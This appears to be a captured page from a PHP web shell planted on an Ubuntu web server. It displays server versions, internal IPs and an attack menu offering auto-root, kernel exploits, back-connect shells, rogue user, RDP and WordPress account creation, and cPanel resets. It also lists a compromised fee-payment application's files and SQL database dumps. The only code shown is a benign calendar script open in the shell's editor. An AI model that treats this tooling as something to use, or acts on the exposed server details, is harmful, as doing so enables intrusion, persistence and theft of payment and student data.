Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
temppayment /
pg /
fees /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
CSS
[ DIR ]
drwxr-xr-x
alumni-form-ag
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
css-ag
[ DIR ]
drwxr-xr-x
font-awesome
[ DIR ]
drwxr-xr-x
hdfcpg24
[ DIR ]
drwxr-xr-x
hdfcstatusapi
[ DIR ]
drwxr-xr-x
hosted_php
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
irdpg
[ DIR ]
drwxr-xr-x
jsofpopup
[ DIR ]
drwxr-xr-x
php-kit-old
[ DIR ]
drwxr-xr-x
phpmailer
[ DIR ]
drwxr-xr-x
razorpay-php
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
student
[ DIR ]
drwxr-xr-x
style
[ DIR ]
drwxr-xr-x
uploadDoc
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
Checksum.php
642
B
-rw-r--r--
FailedTRAN.php
6.42
KB
-rw-r--r--
ForgetPassword.php
3.02
KB
-rw-r--r--
ForgetPasswordPage.php
3.34
KB
-rw-r--r--
GetHandleRES.php
10.87
KB
-rw-r--r--
Index1.html
11.28
KB
-rw-r--r--
PaymentHandler.php
20.11
KB
-rw-r--r--
README.md
1.86
KB
-rw-r--r--
Reciept.disabledphp
5.1
KB
-rw-r--r--
Reciept.php
6.66
KB
-rw-r--r--
STATUSAPI-samplecode.php
3.58
KB
-rw-r--r--
SendPerformREQ.php
9.45
KB
-rw-r--r--
StatusTRANold.php
6.11
KB
-rw-r--r--
StatusTran.php
6.81
KB
-rw-r--r--
WIRING INFORMATION REQUIREMENT...
151.53
KB
-rw-r--r--
account.php
3.11
KB
-rw-r--r--
ack.php
8.32
KB
-rw-r--r--
alumnifee.html
16.29
KB
-rw-r--r--
billdesk.disabledphp
1.86
KB
-rw-r--r--
calendar.css
2.65
KB
-rw-r--r--
calendar.js
16.85
KB
-rw-r--r--
calendar_form.php
18.27
KB
-rw-r--r--
corner-bottomleft.jpg
334
B
-rw-r--r--
corner-bottomright.jpg
341
B
-rw-r--r--
corner-topleft.jpg
335
B
-rw-r--r--
corner-topright.jpg
348
B
-rw-r--r--
database.php
2.49
KB
-rw-r--r--
donatebilldesk.php
2.6
KB
-rw-r--r--
donatehdfc.php
11.19
KB
-rw-r--r--
donationmail.php
7.73
KB
-rw-r--r--
error_log
13.22
MB
-rw-r--r--
export-atmb23.php
1.54
KB
-rw-r--r--
export-jmpfeb2021.php
1.44
KB
-rw-r--r--
export-mgrsajan2021.php
1.44
KB
-rw-r--r--
export-pgddsai.php
1.39
KB
-rw-r--r--
export.php
1.29
KB
-rw-r--r--
favicons.png
397
B
-rw-r--r--
formvalidator.php
14.1
KB
-rw-r--r--
giveback.php
19.01
KB
-rw-r--r--
giveback_backup.php
10.46
KB
-rw-r--r--
giveback_beforeeditedbyankit.p...
19.09
KB
-rw-r--r--
handlePaymentResponse.php
4.04
KB
-rw-r--r--
hdfc-pg-confirm.php
3.67
KB
-rw-r--r--
hdfc-pg-pay-old.php
5.42
KB
-rw-r--r--
hdfc-pg-pay.php
6.17
KB
-rw-r--r--
hdfc-pg-response.php
2.2
KB
-rw-r--r--
history.php
1.9
KB
-rw-r--r--
home.html
1.04
KB
-rw-r--r--
index-oldmain.php
35.8
KB
-rw-r--r--
index.html
337
B
-rw-r--r--
index.php
97
B
-rw-r--r--
index1032015.php
22.05
KB
-rw-r--r--
indexb.php
22.97
KB
-rw-r--r--
indexfortest.html
28.11
KB
-rw-r--r--
indexold.php
23.13
KB
-rw-r--r--
initiatePayment.php
1.18
KB
-rw-r--r--
initiatePaymentDataForm.php
1.89
KB
-rw-r--r--
initiateRefund.php
1.66
KB
-rw-r--r--
initiateRefundDataForm.php
1.72
KB
-rw-r--r--
jquery-latest.js
166.11
KB
-rw-r--r--
jquery.js
76.54
KB
-rw-r--r--
login.html
780
B
-rw-r--r--
logo.jpg
23.55
KB
-rw-r--r--
logo.png
10.94
KB
-rw-r--r--
logocolor.png
26.78
KB
-rw-r--r--
misp.html
14.15
KB
-rw-r--r--
misp.php
12.61
KB
-rw-r--r--
newstudent.php
9.72
KB
-rw-r--r--
pay.php
2.45
KB
-rw-r--r--
paymenthistory.php
1.94
KB
-rw-r--r--
pg-Ram.html
93.09
KB
-rw-r--r--
pg-backup141117.html
31.63
KB
-rw-r--r--
pg-bkp-1112021.html
80.88
KB
-rw-r--r--
pg-bkp.html
82.53
KB
-rw-r--r--
pg-bkp111121.html
93.02
KB
-rw-r--r--
pg-bkp7721.html
78.9
KB
-rw-r--r--
pg-bkpbeforeriisecalc.html
99.94
KB
-rw-r--r--
pg-problem1.html
42.31
KB
-rw-r--r--
pg-test.html
45.08
KB
-rw-r--r--
pg-testrazorpay6721.html
79.48
KB
-rw-r--r--
pg.html
153.52
KB
-rw-r--r--
pg1.html
39.48
KB
-rw-r--r--
pghdfc.html
137.01
KB
-rw-r--r--
phdcheckstatus.php
1.07
KB
-rw-r--r--
plist-gian.php
10.01
KB
-rw-r--r--
plist-retrace18.php
9.77
KB
-rw-r--r--
post.php
1.08
KB
-rw-r--r--
print.png
832
B
-rw-r--r--
razor-config.php
296
B
-rw-r--r--
razor-pay.php
6.02
KB
-rw-r--r--
recounsiliation.php
6.15
KB
-rw-r--r--
register.php
2.47
KB
-rw-r--r--
register1.php
2.36
KB
-rw-r--r--
register_workshop.php
9.75
KB
-rw-r--r--
schedule6g04072024.png
76.14
KB
-rw-r--r--
student.php
9.73
KB
-rw-r--r--
submittobill.php
551
B
-rw-r--r--
test.html
2.14
KB
-rw-r--r--
test.php
768
B
-rw-r--r--
testbyankit.php
1.6
KB
-rw-r--r--
thanks.php
4.42
KB
-rw-r--r--
thanksuser-manual.php
11.55
KB
-rw-r--r--
thanksuser.php
7.42
KB
-rw-r--r--
thanksusertest.php
9.59
KB
-rw-r--r--
user.php
4.84
KB
-rw-r--r--
userlist.php
472
B
-rw-r--r--
vendor.php
10.63
KB
-rw-r--r--
vendorold.php
9.86
KB
-rw-r--r--
verify.php
10.87
KB
-rw-r--r--
vpayments-1pxconf23.php
9.99
KB
-rw-r--r--
vpayments-6gworkshop24.php
10.01
KB
-rw-r--r--
vpayments-acss.php
9.69
KB
-rw-r--r--
vpayments-adb2020.php
9.76
KB
-rw-r--r--
vpayments-all.php
9.81
KB
-rw-r--r--
vpayments-all1.php
9.81
KB
-rw-r--r--
vpayments-ankit.php
6.38
KB
-rw-r--r--
vpayments-atmb23.php
10.04
KB
-rw-r--r--
vpayments-caiss.php
9.7
KB
-rw-r--r--
vpayments-compass24.php
10
KB
-rw-r--r--
vpayments-csmworkshop.php
9.7
KB
-rw-r--r--
vpayments-datar-close.php
9.72
KB
-rw-r--r--
vpayments-dilab.php
9.67
KB
-rw-r--r--
vpayments-diwalibook.php
9.73
KB
-rw-r--r--
vpayments-diwalibookdrive2020....
9.74
KB
-rw-r--r--
vpayments-dshcs.php
10
KB
-rw-r--r--
vpayments-edc24.php
10.02
KB
-rw-r--r--
vpayments-envision.php
10
KB
-rw-r--r--
vpayments-fdp2020.php
9.7
KB
-rw-r--r--
vpayments-hostel.php
9.72
KB
-rw-r--r--
vpayments-hostelfee.php
10
KB
-rw-r--r--
vpayments-icon22.php
9.99
KB
-rw-r--r--
vpayments-ictdx-close.php
9.7
KB
-rw-r--r--
vpayments-intsemfee.php
10.02
KB
-rw-r--r--
vpayments-jacfee2020-initiated...
9.76
KB
-rw-r--r--
vpayments-jacfee2020.php
9.77
KB
-rw-r--r--
vpayments-jacfee2024.php
10
KB
-rw-r--r--
vpayments-jmpfeb2021.php
10.18
KB
-rw-r--r--
vpayments-libfine.php
10.26
KB
-rw-r--r--
vpayments-mgrsajan2021.php
10.18
KB
-rw-r--r--
vpayments-mtech24hostel.php
10.02
KB
-rw-r--r--
vpayments-ngwin.php
9.69
KB
-rw-r--r--
vpayments-nwcbh-close.php
9.74
KB
-rw-r--r--
vpayments-odyssey20.php
9.7
KB
-rw-r--r--
vpayments-pgddsai-entranceexam...
9.95
KB
-rw-r--r--
vpayments-pgddsai.php
10.08
KB
-rw-r--r--
vpayments-preplacement2020.php
10.2
KB
-rw-r--r--
vpayments-rdbaccess.php
7.22
KB
-rw-r--r--
vpayments-retrace2019-close.ph...
9.75
KB
-rw-r--r--
vpayments-riise.php
9.73
KB
-rw-r--r--
vpayments-vlsirevisit2020.php
10.23
KB
-rw-r--r--
vpayments-vlsirevisit2023.php
9.98
KB
-rw-r--r--
vpayments.php
11.17
KB
-rw-r--r--
wanted_sql_file.sql
2.33
MB
-rw-r--r--
webiiit_pg.sql
1.42
MB
-rw-r--r--
webiiit_pg_bkp_24102020.sql
7.69
MB
-rw-r--r--
welcome.backup.php
18.06
KB
-rw-r--r--
welcome.php
23.42
KB
-rw-r--r--
welcome.txt
23.38
KB
-rw-r--r--
welcome1032015.php
23.37
KB
-rw-r--r--
welcomebill.php
5.29
KB
-rw-r--r--
welcomehdfc.php
5.8
KB
-rw-r--r--
welcomeold.php
23.38
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : calendar.js
function toggleCalendar(objname){ var div_obj = document.getElementById('div_'+objname); if (div_obj.style.visibility=="hidden") { div_obj.style.visibility = 'visible'; document.getElementById(objname+'_frame').contentWindow.adjustContainer(); }else{ div_obj.style.visibility = 'hidden'; } } function setValue(objname, d){ document.getElementById(objname).value = d; var dp = document.getElementById(objname+"_dp").value; if(dp == true){ var date_array = d.split("-"); var inp = document.getElementById(objname+"_inp").value; if(inp == true){ document.getElementById(objname+"_day").value = padString(date_array[2].toString(), 2, "0"); document.getElementById(objname+"_month").value = padString(date_array[1].toString(), 2, "0"); document.getElementById(objname+"_year").value = padString(date_array[0].toString(), 4, "0"); //check for valid day tc_updateDay(objname, date_array[0], date_array[1], date_array[2]); }else{ if(date_array[0] > 0 && date_array[1] > 0 && date_array[2] > 0){ //update date pane var myDate = new Date(); myDate.setFullYear(date_array[0],(date_array[1]-1),date_array[2]); var dateFormat = document.getElementById(objname+"_fmt").value var dateTxt = myDate.format(dateFormat); }else var dateTxt = "Select Date"; document.getElementById("divCalendar_"+objname+"_lbl").innerHTML = dateTxt; } toggleCalendar(objname); } } function tc_setDay(objname, dvalue, path){ var obj = document.getElementById(objname); var date_array = obj.value.split("-"); //check if date is not allow to select if(!isDateAllow(objname, dvalue, date_array[1], date_array[0])){ alert("This date is not allow to select"); restoreDate(objname); }else{ if(isDate(dvalue, date_array[1], date_array[0])){ obj.value = date_array[0] + "-" + date_array[1] + "-" + dvalue; var obj = document.getElementById(objname+'_frame'); var year_start = document.getElementById(objname+'_year_start').value; var year_end = document.getElementById(objname+'_year_end').value; var dp = document.getElementById(objname+'_dp').value; var smon = document.getElementById(objname+'_mon').value; var da1 = document.getElementById(objname+'_da1').value; var da2 = document.getElementById(objname+'_da2').value; var sna = document.getElementById(objname+'_sna').value; var aut = document.getElementById(objname+'_aut').value; var frm = document.getElementById(objname+'_frm').value; var tar = document.getElementById(objname+'_tar').value; var inp = document.getElementById(objname+'_inp').value; var fmt = document.getElementById(objname+'_fmt').value; var dis = document.getElementById(objname+'_dis').value; obj.src = path+"calendar_form.php?objname="+objname.toString()+"&selected_day="+dvalue+"&selected_month="+date_array[1]+"&selected_year="+date_array[0]+"&year_start="+year_start+"&year_end="+year_end+"&dp="+dp+"&mon="+smon+"&da1="+da1+"&da2="+da2+"&sna="+sna+"&aut="+aut+"&frm="+frm+"&tar="+tar+"&inp="+inp+"&fmt="+fmt+"&dis="+dis; obj.contentWindow.submitNow(dvalue, date_array[1], date_array[0]); }else document.getElementById(objname+"_day").selectedIndex = date_array[2]; } } function tc_setMonth(objname, mvalue, path){ var obj = document.getElementById(objname); var date_array = obj.value.split("-"); //check if date is not allow to select if(!isDateAllow(objname, date_array[2], mvalue, date_array[0])){ alert("This date is not allow to select"); restoreDate(objname); }else{ if(document.getElementById(objname+'_dp').value && document.getElementById(objname+'_inp').value){ //update 'day' combo box date_array[2] = tc_updateDay(objname, date_array[0], mvalue, date_array[2]); } if(isDate(date_array[2], mvalue, date_array[0])){ obj.value = date_array[0] + "-" + mvalue + "-" + date_array[2]; var obj = document.getElementById(objname+'_frame'); var year_start = document.getElementById(objname+'_year_start').value; var year_end = document.getElementById(objname+'_year_end').value; var dp = document.getElementById(objname+'_dp').value; var smon = document.getElementById(objname+'_mon').value; var da1 = document.getElementById(objname+'_da1').value; var da2 = document.getElementById(objname+'_da2').value; var sna = document.getElementById(objname+'_sna').value; var aut = document.getElementById(objname+'_aut').value; var frm = document.getElementById(objname+'_frm').value; var tar = document.getElementById(objname+'_tar').value; var inp = document.getElementById(objname+'_inp').value; var fmt = document.getElementById(objname+'_fmt').value; var dis = document.getElementById(objname+'_dis').value; obj.src = path+"calendar_form.php?objname="+objname.toString()+"&selected_day="+date_array[2]+"&selected_month="+mvalue+"&selected_year="+date_array[0]+"&year_start="+year_start+"&year_end="+year_end+"&dp="+dp+"&mon="+smon+"&da1="+da1+"&da2="+da2+"&sna="+sna+"&aut="+aut+"&frm="+frm+"&tar="+tar+"&inp="+inp+"&fmt="+fmt+"&dis="+dis; obj.contentWindow.submitNow(date_array[2], mvalue, date_array[0]); }else document.getElementById(objname+"_month").selectedIndex = date_array[1]; } } function tc_setYear(objname, yvalue, path){ var obj = document.getElementById(objname); var date_array = obj.value.split("-"); //check if date is not allow to select if(!isDateAllow(objname, date_array[2], date_array[1], yvalue)){ alert("This date is not allow to select"); restoreDate(objname); }else{ if(document.getElementById(objname+'_dp').value && document.getElementById(objname+'_inp').value){ //update 'day' combo box date_array[2] = tc_updateDay(objname, yvalue, date_array[1], date_array[2]); } if(isDate(date_array[2], date_array[1], yvalue)){ obj.value = yvalue + "-" + date_array[1] + "-" + date_array[2]; var obj = document.getElementById(objname+'_frame'); var year_start = document.getElementById(objname+'_year_start').value; var year_end = document.getElementById(objname+'_year_end').value; var dp = document.getElementById(objname+'_dp').value; var smon = document.getElementById(objname+'_mon').value; var da1 = document.getElementById(objname+'_da1').value; var da2 = document.getElementById(objname+'_da2').value; var sna = document.getElementById(objname+'_sna').value; var aut = document.getElementById(objname+'_aut').value; var frm = document.getElementById(objname+'_frm').value; var tar = document.getElementById(objname+'_tar').value; var inp = document.getElementById(objname+'_inp').value; var fmt = document.getElementById(objname+'_fmt').value; var dis = document.getElementById(objname+'_dis').value; obj.src = path+"calendar_form.php?objname="+objname.toString()+"&selected_day="+date_array[2]+"&selected_month="+date_array[1]+"&selected_year="+yvalue+"&year_start="+year_start+"&year_end="+year_end+"&dp="+dp+"&mon="+smon+"&da1="+da1+"&da2="+da2+"&sna="+sna+"&aut="+aut+"&frm="+frm+"&tar="+tar+"&inp="+inp+"&fmt="+fmt+"&dis="+dis; obj.contentWindow.submitNow(date_array[2], date_array[1], yvalue); }else document.getElementById(objname+"_year").value = date_array[0]; } } function yearEnter(e){ var characterCode; if(e && e.which){ //if which property of event object is supported (NN4) e = e; characterCode = e.which; //character code is contained in NN4's which property }else{ e = event; characterCode = e.keyCode; //character code is contained in IE's keyCode property } if(characterCode == 13){ //if Enter is pressed, do nothing return true; }else return false; } // Declaring valid date character, minimum year and maximum year var minYear=1900; var maxYear=2100; function isInteger(s){ var i; for (i = 0; i < s.length; i++){ // Check that current character is number. var c = s.charAt(i); if (((c < "0") || (c > "9"))) return false; } // All characters are numbers. return true; } function stripCharsInBag(s, bag){ var i; var returnString = ""; // Search through string's characters one by one. // If character is not in bag, append to returnString. for (i = 0; i < s.length; i++){ var c = s.charAt(i); if (bag.indexOf(c) == -1) returnString += c; } return returnString; } function is_leapYear(year){ return (year % 4 == 0) ? !(year % 100 == 0 && year % 400 != 0) : false; } function daysInMonth(month, year){ var days = new Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31); return (month == 2 && is_leapYear(year)) ? 29 : days[month-1]; } function DaysArray(n) { for (var i = 1; i <= n; i++) { this[i] = 31 if (i==4 || i==6 || i==9 || i==11) {this[i] = 30} if (i==2) {this[i] = 29} } return this } function isDate(strDay, strMonth, strYear){ /* //bypass check date strYr=strYear if (strDay.charAt(0)=="0" && strDay.length>1) strDay=strDay.substring(1) if (strMonth.charAt(0)=="0" && strMonth.length>1) strMonth=strMonth.substring(1) for (var i = 1; i <= 3; i++) { if (strYr.charAt(0)=="0" && strYr.length>1) strYr=strYr.substring(1) } month=parseInt(strMonth) day=parseInt(strDay) year=parseInt(strYr) if (strMonth.length<1 || month<1 || month>12){ alert("Please enter a valid month") return false } if (strDay.length<1 || day<1 || day>31 || day > daysInMonth(month, year)){ alert("Please enter a valid day") return false } if (strYear.length != 4 || year==0 || year<minYear || year>maxYear){ alert("Please enter a valid 4 digit year between "+minYear+" and "+maxYear) return false }*/ return true } function isDateAllow(objname, strDay, strMonth, strYear){ var da1 = document.getElementById(objname+"_da1").value; var da2 = document.getElementById(objname+"_da2").value; strDay = parseInt(parseFloat(strDay)); strMonth = parseInt(parseFloat(strMonth)); strYear = parseInt(parseFloat(strYear)); //alert(da1+"\n"+da2+"\n"+strDay+"\n"+strMonth+"\n"+strYear); if(strDay>0 && strMonth>0 && strYear>0){ if(da1 || da2){ var date2Set = new Date(); date2Set.setFullYear(strYear, strMonth-1, strDay); if(da1 && da2){ var da1Arr = da1.split('-', 3); var da2Arr = da2.split('-', 3); da1Arr[0] = parseInt(parseFloat(da1Arr[0])); da1Arr[1] = parseInt(parseFloat(da1Arr[1])); da1Arr[2] = parseInt(parseFloat(da1Arr[2])); da2Arr[0] = parseInt(parseFloat(da2Arr[0])); da2Arr[1] = parseInt(parseFloat(da2Arr[1])); da2Arr[2] = parseInt(parseFloat(da2Arr[2])); var da1Date=new Date(); da1Date.setFullYear(da1Arr[0],da1Arr[1]-1,da1Arr[2]); var da2Date=new Date(); da2Date.setFullYear(da2Arr[0],da2Arr[1]-1,da2Arr[2]); //alert(date2Set+"\n"+da1Date+"\n"+da2Date); return (date2Set>=da1Date && date2Set<=da2Date) ? true : false; }else if(da1){ var da1Arr = da1.split('-', 3); da1Arr[0] = parseInt(parseFloat(da1Arr[0])); da1Arr[1] = parseInt(parseFloat(da1Arr[1])); da1Arr[2] = parseInt(parseFloat(da1Arr[2])); var da1Date=new Date(); da1Date.setFullYear(da1Arr[0],da1Arr[1]-1,da1Arr[2]); return (date2Set>=da1Date) ? true : false; }else{ var da2Arr = da2.split('-', 3); da2Arr[0] = parseInt(parseFloat(da2Arr[0])); da2Arr[1] = parseInt(parseFloat(da2Arr[1])); da2Arr[2] = parseInt(parseFloat(da2Arr[2])); var da2Date=new Date(); da2Date.setFullYear(da2Arr[0],da2Arr[1]-1,da2Arr[2]); //alert(date2Set); //alert(da2Date); return (date2Set<=da2Date) ? true : false; } }else return true; }else return true; //always return true if date not completely set } function restoreDate(objname){ //get the store value var storeValue = document.getElementById(objname).value; var storeArr = storeValue.split('-', 3); //set it document.getElementById(objname+'_day').value = storeArr[2]; document.getElementById(objname+'_month').value = storeArr[1]; document.getElementById(objname+'_year').value = storeArr[0]; } //---------------------------------------------------------------- //javascript date format function thanks to // http://jacwright.com/projects/javascript/date_format // // some modification to match the calendar script //---------------------------------------------------------------- // Simulates PHP's date function Date.prototype.format = function(format) { var returnStr = ''; var replace = Date.replaceChars; for (var i = 0; i < format.length; i++) { var curChar = format.charAt(i); if (replace[curChar]) { returnStr += replace[curChar].call(this); } else { returnStr += curChar; } } return returnStr; }; Date.replaceChars = { shortMonths: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'], longMonths: ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'], shortDays: ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'], longDays: ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday'], // Day d: function() { return (this.getDate() < 10 ? '0' : '') + this.getDate(); }, D: function() { return Date.replaceChars.shortDays[this.getDay()]; }, j: function() { return this.getDate(); }, l: function() { return Date.replaceChars.longDays[this.getDay()]; }, N: function() { return this.getDay() + 1; }, S: function() { return (this.getDate() % 10 == 1 && this.getDate() != 11 ? 'st' : (this.getDate() % 10 == 2 && this.getDate() != 12 ? 'nd' : (this.getDate() % 10 == 3 && this.getDate() != 13 ? 'rd' : 'th'))); }, w: function() { return this.getDay(); }, z: function() { return "Not Yet Supported"; }, // Week W: function() { return "Not Yet Supported"; }, // Month F: function() { return Date.replaceChars.longMonths[this.getMonth()]; }, m: function() { return (this.getMonth() < 9 ? '0' : '') + (this.getMonth() + 1); }, M: function() { return Date.replaceChars.shortMonths[this.getMonth()]; }, n: function() { return this.getMonth() + 1; }, t: function() { return "Not Yet Supported"; }, // Year L: function() { return "Not Yet Supported"; }, o: function() { return "Not Supported"; }, Y: function() { return this.getFullYear(); }, y: function() { return ('' + this.getFullYear()).substr(2); }, // Time a: function() { return this.getHours() < 12 ? 'am' : 'pm'; }, A: function() { return this.getHours() < 12 ? 'AM' : 'PM'; }, B: function() { return "Not Yet Supported"; }, g: function() { return this.getHours() % 12 || 12; }, G: function() { return this.getHours(); }, h: function() { return ((this.getHours() % 12 || 12) < 10 ? '0' : '') + (this.getHours() % 12 || 12); }, H: function() { return (this.getHours() < 10 ? '0' : '') + this.getHours(); }, i: function() { return (this.getMinutes() < 10 ? '0' : '') + this.getMinutes(); }, s: function() { return (this.getSeconds() < 10 ? '0' : '') + this.getSeconds(); }, // Timezone e: function() { return "Not Yet Supported"; }, I: function() { return "Not Supported"; }, O: function() { return (-this.getTimezoneOffset() < 0 ? '-' : '+') + (Math.abs(this.getTimezoneOffset() / 60) < 10 ? '0' : '') + (Math.abs(this.getTimezoneOffset() / 60)) + '00'; }, T: function() { var m = this.getMonth(); this.setMonth(0); var result = this.toTimeString().replace(/^.+ \(?([^\)]+)\)?$/, '$1'); this.setMonth(m); return result;}, Z: function() { return -this.getTimezoneOffset() * 60; }, // Full Date/Time c: function() { return "Not Yet Supported"; }, r: function() { return this.toString(); }, U: function() { return this.getTime() / 1000; } }; function padString(stringToPad, padLength, padString) { if (stringToPad.length < padLength) { while (stringToPad.length < padLength) { stringToPad = padString + stringToPad; } }else {} /* if (stringToPad.length > padLength) { stringToPad = stringToPad.substring((stringToPad.length - padLength), padLength); } else {} */ return stringToPad; } function tc_updateDay(objname, yearNum, monthNum, daySelected){ var totalDays = daysInMonth(monthNum, yearNum); var dayObj = document.getElementById(objname+"_day"); //var prevSelected = dayObj.value; if(dayObj.options[0].value == 0 || dayObj.options[0].value == "") dayObj.length = 1; else dayObj.length = 0; for(d=1; d<=totalDays; d++){ var newOption = document.createElement("OPTION"); newOption.text = d; newOption.value = d; dayObj.options[d] = new Option(newOption.text, padString(newOption.value, 2, "0")); } if(daySelected > totalDays) dayObj.value = padString(totalDays, 2, "0"); else dayObj.value = padString(daySelected, 2, "0"); return dayObj.value; }
Close